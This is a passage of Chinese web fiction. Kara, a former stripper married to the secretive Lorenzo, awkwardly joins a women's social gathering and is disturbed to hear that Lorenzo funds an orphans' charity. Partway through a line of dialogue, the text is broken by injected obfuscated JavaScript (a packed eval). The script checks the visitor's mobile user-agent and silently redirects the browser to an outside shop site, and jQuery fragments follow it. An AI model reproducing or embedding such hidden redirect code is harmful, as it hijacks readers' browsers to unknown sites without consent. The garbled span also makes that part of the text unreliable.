卡拉站在衣橱前纠结了半天,最后还是拿出了那条新买的绿裙子,然后因为今天的气温有些下降,又加上了一件同样是新买的米白色开衫。
她很快就换好了衣服。
这条裙子的款式确实很好看,也很适合她,它生机勃勃的颜色衬得她的绿眼睛异常明亮,而她高挑的身材也撑起了简单的剪裁。
就只是,看起来再不错,它也依旧平价得明显,任何人都能看得出来它绝对不会超过五十块。
她在镜子前转了又转,心中仍然有些忐忑,可是最终,她还是咬了咬牙,不打算去换成任何昂贵服饰。
不,她不会轻易中洛伦佐的诡计的,她不会再次被自己所处的环境,被他的供养驯化。
她也没有精心化妆,就只是简单地涂了一点口红提一提气色,然后,又用手指抓了抓头发,让她一直引以为傲的长发显得更为慵懒随意些。
一切准备完毕,还是由尼科洛送她,即便她说了一百遍那毫无必要,她完全就可以自己开车前往。
可显而易见的是,由于她的前科,她估计这辈子是再也没法碰方向盘了。
当她终于抵达,门打开的瞬间,暖融的光线与几位光鲜的女士投来的目光一同落在她的身上。卡拉下意识地挺直了脊背,手指悄悄捏紧了手包。
“嗯,卡拉!你来了!”艾玛·安德森率先起身,上去给了卡拉一个十分热情的拥抱,让她简直是有些措手不及。
艾玛的身材非常娇小,去掉那双估计足足有四英寸的高跟鞋后大约就只比五英尺(1.52m)高一点,站在有基因优势,再怎么吃过苦受过累也愣是长到了五英尺九英寸(1.75m)的卡拉面前,衬得卡拉就像个误入精致娃娃屋的傻大个,一时间连手都不知该往哪里放了。
“安德森太太。”她略显生硬地打了招呼。
“还是叫我艾玛吧,求你了。”艾玛笑着纠正道,挽着她的手臂引她入座。
“真高兴今天没有那群足球流氓打扰。老天,你能理解他们对那颗黑白皮球的狂热吗?那可真是让人受不了。”
“事实上,”卡拉道,“我无法理解所有类似的运动。”
“我也不怎么热衷。”艾玛眨了眨眼,“难怪你之前从来不参与他们的聚会,男人啊,就是喜欢这些东西,足球、棒球、橄榄球……我想,让你克服厌恶估计很不容易吧。”
这完全不是原因,但卡拉没有解释,她很愿意让她们产生各种误会,只要那误会与真相毫无关联。
在场的大多数人卡拉之前都见过,比如泰莎·里维拉——可能是难得真心喜欢足球的那个,而她男友亚历杭德罗·克鲁兹也显然对此最为热衷,还有露西亚·拉扎瓦尼,意大利人,她的丈夫是马特奥·罗西,以及迈克尔·安德森的妹妹梅丽莎·安德森——单身人士……
至于仅有的她还没见过的,她也很快得到了介绍,比如她终于见到了洛伦佐曾经提起的弗朗切斯科有意求婚的女友莉莉。
这让卡拉不禁有些惊讶,莉莉完全不符合她的预期。
当然了,这绝不是说莉莉并不迷人,莉莉非常迷人。她大约比卡拉年长几岁,棕发棕眼,温柔文静,衣着打扮十分优雅,就是怎么也不像弗朗切斯科那种活蹦乱跳到处放电的意大利浪子会倾心不已的类型,当然,她会看上弗朗切斯科则更迷惑。
尤其艾玛还笑着提了一嘴,说莉莉是某知名学府的博士后研究员,同时还兼职授课。这让卡拉这种高中差点没毕业的人不禁又起了一丝敬意。
之后,通过大家的谈话,卡拉也有些意外地发现,她们全都并不闲着。艾玛是日常被各种义务填满了的全职太太;露西亚经营着一间餐厅,也正是她在与艾玛先后怀孕时提议说先生们的日子还是太逍遥了,她们也得创造一个只属于妈妈们的俱乐部,好偶尔把丈夫孩子通通甩掉,虽然最后聚在一起的显然什么人都有;梅丽莎是她哥哥公司的首席运营官,干练精明;而泰莎则在毕业工作三年后,又觉得这日子实在是没意思,便狠狠努力了一把考取了医学院,决心未来做一名无国界医生……
只有她自己,卡拉·多尔蒂,每天就光是待在家里,愁眉苦脸,度日如年。
“说起来,卡拉,你是做什么的?”
这个问题终于还是落到了卡拉这个新人身上。
听着露西亚用那熟悉的意大利腔调唤她的名字,她心头顿时一紧,绿眸警觉地迎向露西亚。但对方的眼中并无探究或审视,只有友善的好奇。
“我想,我现在就是天天呆在家里看肥皂剧了。”她实话实说道。
“哦……”露西亚眨眨眼,“那从前呢?一个你这样的漂亮姑娘,个子又高,要是没做过模特那可真是浪费了。”
说完,像是想到什么,她立刻又道:“哦,我都忘记你有多年轻了,你大概早早坠入爱河,一毕业就结婚了吧。”
露西亚的话语中并没有什么特别的意味,就只是随口的猜测,倒是艾玛听了,立刻在一旁插嘴道:“这很正常,许多女孩都在高中或大学毕业后不久决定步入婚姻。”
卡拉默默看了艾玛一眼。
“也没那么早,我从前……”
她犹豫了一下。
“我从前其实是一个自由职业者。”
关于这个,她倒是实话实说了,谁能说脱衣舞者不算是自由职业者?俱乐部可不必付舞者工资,倒是舞者还得向俱乐部交舞台费才能上班,除此之外,还往往得给出一大堆小费,DJ、调酒师、服务员、Housemom……
“自由职业?”梅丽莎饶有兴致地挑了挑眉,她有着与兄长迈克尔相似的眼睛,但目光更为锐利,“具体哪方面?写作?设计?还是咨询?”
没料到居然还会被追问,卡拉顿时便有些后悔,手心都微微沁出了细汗。她的开衫柔软地贴着手臂,此刻却开始有些闷热。
“嗯……更偏向于……表演艺术类吧。”
她害怕越撒谎越难圆,便含糊其辞,试图用半个真相蒙混过关。表演,是的,她确实在舞台表演。
“哦?”泰莎眼睛一亮,她有着健康的小麦肤色和充满活力的笑容。
“是戏剧吗?”她问,“我曾经也参加过戏剧社,可惜我对表演毫无天份。”
“舞蹈。”卡拉简短地承认,指甲悄悄掐进掌心。
“原来你还是名舞者。”莉莉在一旁轻声赞叹,她的声音和本人一样柔和,“是哪一种舞蹈?我一直都非常喜欢舞蹈,尤其是古典芭蕾。”
哪种舞蹈?卡拉脑海中瞬间闪过炫目的灯光、震耳的音乐、冰冷的钢管、台下无数贪婪的、等着她脱掉上衣的目光。她端起自己那杯玛格丽特,舔了一下杯口的盐,用咸涩压制情绪。
“嗯,会比较……杂糅。”她听到自己这样说,声音倒还算镇定,“为了生计,总是什么都得会一点。”
露西亚若有所思地点点头:“我理解,我从前做过许多工作。有许多老板,总以为可以用一点点钱的雇一个十项全能的人。可是我能怎么办?我能指着他的鼻子让他滚蛋吗?生活有时候可并不给我们太多的选择,不是吗?”
这微妙的共鸣让卡拉紧绷的神经总算稍稍松弛了一丝。
“说到选择,”艾玛开始转换话题,仿佛是察觉到了卡拉不愿深谈的回避,“莉莉,我又想起了你上次和我们提起的那位你正在研究的法国侯爵夫人。说实话,我真是无比庆幸自己是生活在现代社会。毕竟在几百年前,哪怕是那么才华横溢的一位女性,也是叠加了那么多的运气,才算是拥有了那么一丁点选择的权利。”
话题顺利地被引开,转向了莉莉引以为傲的学术领域。卡拉暗自松了一口气,之后,随着大家的讨论,大家聊得越来越偏,气氛也愈发轻松融洽。
卡拉大部分时间在安静地走神,只偶尔在话题涉及她略有了解的范围时,才允许自己插一两句话,好不会显得过于不合群。
尽管大家出身迥异,但这些女性能混在一起显然不是没有理由的,她们交谈的内容根本不像她预想中的那样,会充斥着浮夸的名牌和无聊的攀比。她们会讨论最近读到的一本引人深思的书,会分享育儿过程中的笑与泪,也确实会忍不住抱怨各自的丈夫或男友如何如何,还会忽然开始八卦起某些人的感情生活。
她们完全接受了卡拉这种略显疏离的态度,或许是出于礼貌,或许是早已经见惯了洛伦佐的性格,便自动将她这个洛伦佐的妻子也归为同类,她们都表现得友善而有分寸,且从不曾因为她不爱说话就真正去忽视了她。
之后,话题不知怎的就转到了下周的某个关于非洲孤儿的慈善活动上了。
“洛伦佐这次可是又帮了大忙。”
艾玛一边说,一边自然转向了身为洛伦佐妻子的卡拉,语气真诚:“卡拉,你真是拥有着一个非常善良、也非常慷慨的丈夫呢。我们几个都知道,他一直是非洲希望基金会最稳定、也最不愿声张的赞助人之一,如今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613671|205401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
真的很少有人会像他那样如此真挚地关心着全球各地儿童的不幸了。”
卡拉捏着酒杯的手指微微一紧。
洛伦佐?慷慨?善良?关心儿童?
这几个词组合在一起,荒谬得让她几乎就要笑出来,却又有一股寒意顺着脊椎悄然爬升。他从未和她提过这些东西,当然了,一个字都没有。
而且,儿童……
格蕾丝的小脸在她脑海中一闪而过。
她垂下眼睑,掩饰眸中不住翻涌的惊疑和混乱,只是轻轻地“嗯”了一声,仿佛这不过是再寻常不过的家常。
艾玛和其他人见她反应平淡,大概都只当她是早已熟知或者对此类事务不甚热衷。
卡拉安静地坐着,低着头一口口啜饮着酒,却泛不起一丝暖意。
洛伦佐的慷慨,洛伦佐的善名,洛伦佐对儿童福祉的长期默默支持……
每一个词都像一根细针,刺在她认知的壁垒上。她所经历的洛伦佐,和她们口中这个几乎堪称楷模的洛伦佐,真的是同一个人吗?
还是说,他这种社会精英就是擅长于在不同场合扮演不同的角色?在她面前是难以捉摸的丈夫兼狱卒,在朋友间和慈善界则是可靠而慷慨的绅士。
那么,这些角色中,究竟哪一个角色才是最真实的呢?或者,全都是他复杂人性的某个切面?
这时,艾玛的手机响了。
她低头看了一眼,离她最近的卡拉注意到,她的表情忽然变得有些僵硬,但很快,她又将这些情绪收了起来,露出了一个完美的笑容:“是迈克尔,我猜一定是很重要的事吧。”
她接起了电话,走到一旁低声说了一会儿,当她回来时,脸上带着那种母亲特有的无奈神情。
“不好意思,布莱尔–罗斯午睡醒来没看见我,又开始哭闹,吵着要妈妈,让保姆都无计可施。”她对大家说。
露西亚善解人意地笑道:“太理解了,我家双胞胎也时常让我觉得,能安静待一会简直是一种奢侈的幻想。”
“但是你仍然是怎么爱她们都爱不够,不是吗?”泰莎打趣道。
“当然。”露西亚的眼底漾开温柔的光芒,“虽然有时候恨不得把她们打包送回意大利给祖父母带,但更多时候,她们都是我最大的幸福和动力。”
梅丽莎就像是被她给肉麻到了一般,夸张地抖了抖:“还好我是这辈子都不想凌晨三点给孩子喂奶的类型。”
作为场上唯一的已婚未育人士,卡拉顺理成章地又成了关注点:“说起来,卡拉,你和洛伦佐打算要孩子吗?”
这个问题才一出口,艾玛便皱起眉,显然是意识到这可能会触及隐私,尤其卡拉作为洛伦佐的妻子一直都神神秘秘的,她们估计觉得她没准就和她丈夫一个样。
“抱歉,我是不是问太多了?”
卡拉感到喉咙有些发紧,头脑嗡嗡的,理智也又开始摇摆起来,无数尖锐的、讽刺的、自嘲的话语在她的心里翻涌。
但她张了张嘴,喉咙却像被什么东西堵住了,干涩得发不出任何声音。
“我……”她有些艰难地吐出这个音节,声音沙哑得自己都陌生。
然后,她才尽量自然道:“我们目前还没有计划。”
这是一个标准答案。
露西亚点头道:“毕竟你还这么年轻,二人世界也有二人世界的精彩。如果不是该死的避孕失败,我都想跟马特奥再多享受几年。我认为女人真的就该三十岁以后再考虑生孩子的问题。”
卡拉对她笑了笑,只感觉到那层令人厌恶的透明玻璃罩正再次开始形成。
她能看见她们的嘴唇在开合,能听见话语在流动,却再也难以去融入。方才那一点难得的松弛感消失殆尽,取而代之的是一种更深重的、格格不入的孤立感。
她们的聚会持续了很久,当她终于准备回家,窗外城市的流光溢彩飞速地后退着,她靠在椅背上,闭上眼睛,疲惫如潮水般涌来。
女儿……
非洲的孤儿……
洛伦佐低沉的声音,小女孩天真触摸戒指的画面,他生硬咀嚼着汉堡的模样,深夜额头上那个一触即分的吻……还有今天这些友善的、生活在一个美好世界里的女人,她们关于家庭、伴侣和未来的寻常对话。
所有的碎片在她紧闭的眼帘后疯狂旋转、碰撞,试图拼凑出一个可以理解的图案,却只是让一切更加混乱。
她到底身处一个怎样的局面之中?